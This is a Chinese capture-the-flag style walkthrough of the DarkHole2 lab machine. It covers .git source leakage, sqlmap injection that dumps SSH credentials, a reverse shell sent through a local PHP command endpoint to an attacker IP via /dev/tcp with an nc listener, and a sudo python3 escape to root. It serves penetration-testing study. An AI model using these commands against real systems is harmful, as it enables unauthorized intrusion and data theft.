DarkHole2靶机渗透笔记

信息收集阶段

1,1 收集IP信息

使用命令:arp-scan -l
或者使用:nmap -T5 192.168.137.0/24

得到IP为:192.168.137.175,并且获取开放的服务:22,80

使用nmap扫描该ip端口获得一些关键的信息192.168.137.175:80/.git/

在这里插入图片描述

网页存在.git信息泄露。

识别CMS

使用命令:cmseek -u http://192.168.137.175
或者使用:whatweb -v http://192.168.137.175

发现网站似乎并没有使用CMS系统。

目录扫描

使用dirsearch等目录扫描工具对web站点的目录进行目录扫描

python ./dirsearch -u http://192.168.137.175

[12:42:01] 200 -    3KB - /.git/
[12:42:01] 200 -   41B  - /.git/COMMIT_EDITMSG
[12:42:01] 200 -  130B  - /.git/config
[12:42:01] 200 -   73B  - /.git/description
[12:42:01] 200 -   23B  - /.git/HEAD
[12:42:01] 200 -    4KB - /.git/hooks/
[12:42:02] 200 -    1KB - /.git/index
[12:42:03] 200 -  240B  - /.git/info/exclude
[12:42:03] 200 -  950B  - /.git/info/
[12:42:03] 200 -    1KB - /.git/logs/
[12:42:03] 200 -  554B  - /.git/logs/HEAD
[12:42:03] 301 -  327B  - /.git/logs/refs  ->  http://192.168.137.175/.git/logs/refs/
[12:42:03] 200 -  554B  - /.git/logs/refs/heads/master
[12:42:03] 200 -    6KB - /.git/objects/
[12:42:03] 200 -   41B  - /.git/refs/heads/master
[12:42:03] 301 -  328B  - /.git/refs/heads  ->  http://192.168.137.175/.git/refs/heads/
[12:42:03] 301 -  333B  - /.git/logs/refs/heads  ->  http://192.168.137.175/.git/logs/refs/heads/
[12:42:03] 200 -    1KB - /.git/refs/
[12:42:04] 301 -  327B  - /.git/refs/tags  ->  http://192.168.137.175/.git/refs/tags/
[12:42:11] 200 -    1KB - /.idea/
[12:42:11] 301 -  318B  - /.idea  ->  http://192.168.137.175/.idea/
[12:42:13] 200 -  279B  - /.idea/modules.xml
[12:42:13] 200 -    2KB - /.idea/workspace.xml
[12:46:59] 301 -  319B  - /config  ->  http://192.168.137.175/config/
[12:47:04] 200 -  945B  - /config/
[12:47:41] 200 -   11B  - /dashboard.php
[12:49:37] 200 -  933B  - /js/
[12:50:02] 200 -    1KB - /login.php

漏洞利用阶段

2.1 .git信息泄露

在使用目录扫描和nmap扫描的时候都发现了网页存在.git文件。

通过使用GitHack.py工具可以对.git恢复源码的信息

python2 ./GitHack.py -u http://192.168.137.175/.git/
cd dist
cd 192.168.137.175
get log:查看日志修改信息

在这里插入图片描述

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

获取账号密码

在这里插入图片描述

如何利用这个账号密码?

  1. 代码中出现REQUEST_POST说明是Web的请求。
  2. 网页中存在一个login页面。
  3. 直接登录即可。

2.2 SQL注入

在这个页面乍一看貌似没什么可利用的地方:

:

但是在URL的地方可以看到一个很奇怪的参数,这个跟SQL注入的参数很类似:http://192.168.137.175/dashboard.php?id=1

使用sqlmap梭哈。

- 爆破是否存在SQL注入
python .\sqlmap.py -u http://192.168.137.175/dashboard.php?id=1 --batch --cookie "PHPSESSID=c77gdkh03tnou2imma7geonqjk"
- 获取所有数据库
python .\sqlmap.py -u http://192.168.137.175/dashboard.php?id=1 --batch --cookie "PHPSESSID=c77gdkh03tnou2imma7geonqjk" --dbs
- 选择数据库,获取该数据库下的所有数据表
python .\sqlmap.py -u http://192.168.137.175/dashboard.php?id=1 --batch --cookie "PHPSESSID=c77gdkh03tnou2imma7geonqjk" -D darkhole_2 --tables
- 选择数据库与表,获取表下的所有字段
python .\sqlmap.py -u http://192.168.137.175/dashboard.php?id=1 --batch --cookie "PHPSESSID=c77gdkh03tnou2imma7geonqjk" -D darkhole_2 -T ssh --dump

获得一个用户的ssh登录账密:账号:jehad 密码:fool

2.3 后渗透

登录之后在/var/www/html目录下转了一圈,并没有发现flag,回到/home/jehad,发现自己命令下存在一个文件:.bash_history

小tips:拥有 /bin/bash 作为登录 shell 的用户在执行命令时,通常会在他们的用户目录下生成一个 .bash_history 文件,用于记录他们输入的命令历史。

查询拥有/bin/bash的用户:grep -E -o '^([^:]+:){6}(/[^:]+)*bash$' /etc/passwd

在这里插入图片描述

还有三个用户拥有这个命令,但是肯定是没有权限访问的,查询自己的历史命令。

在历史命令中,不难看出当前的jehad用户在尝试添加免密登录,可能在设置后门,(感觉这个用户有点不正常奥,

但是通过对这些文件的查询得知,好像并不存在这些文件。

发现一条命令:ssh -L 127.0.0.1:9999:192.168.135.129:9999 jehad@192.168.135.129

这是一条SSH端口转发的命令
这条命令是指在本地监听监听了一个9999端口,并将该端口的流量通过SSH的方式转发给了服务器192.168.135.129。
如果在192.168.135.129服务器上正在运行一个SSH服务并且正在监听9999端口、jehad用户成功登录的前提下。
那么通过这个命令就可以在本地主机上的9999端口将会连接到192.168.135.129的9999端口

这步我不是很会利用,根据师傅们的复现都没成功,个人能力问题,将这个靶场完成之后去了解了解… …

在历史命令中看到了这几个关键命令:

cat /etc/crontab
cd /opt/web
curl http://127.0.0.1:9999/?cmd=id

/etc/crontab中可以看到* * * * * losy cd /opt/web && php -S localhost:9999
cat /opt/web/index.php中可以看到,当前页面需要接受一个cmd的参数,并且会将值传输到system中执行。

计划任务在/opt/web目录下启动了一个php的服务器,并且将服务器监听在本地的9999端口,在127.0.0.1:9999?cmd=command输入的命令会被解析执行。

在Kali机监听端口:

nc -lvvp 8888

在使用jehad账号登录ssh的机器上输入命令(需要将payload进行url编码):

curl "http://127.0.0.1:9999/?cmd=%2Fbin%2Fbash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.137.130%2F8888%200%3E%261'"

在使用 curl 或其他网络工具发送请求时,如果 URL 中包含特殊字符或保留字符(如空格、&、?、= 等),这些字符可能会被错误地解析或干扰请求的正确性。为了确保 URL 在传输过程中不被误解释、不丢失字符,以及能够正确地被服务器识别,需要进行 URL 编码。

在这里插入图片描述

成功获得shell,切换到losy用户目录,输入命令ll,发现user.txt

在这里插入图片描述

cat user.txt 发现flag

在这里插入图片描述

这个都不重要,重要的是查看.bash_history这个文件才是我们需要关注的地方。

可以发现这几段关键命令:

password:gang
sudo python3 -c 'import os; os.system("/bin/sh")'

2.4 提权

losy用户使用sudo命令,猜测losy用户可能可以使用sudo命令,使用ssh进行连接:ssh losy@192.168.137.175

使用命令:sudo -l

在这里插入图片描述

losy用户可以以root的身份运行Python3,使用历史命令即可进行提权:sudo python3 -c 'import os; os.system("/bin/sh")'

在这里插入图片描述

剩下的flag就不找哩,已经拿到root了,已经能对服务器为所欲为了。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值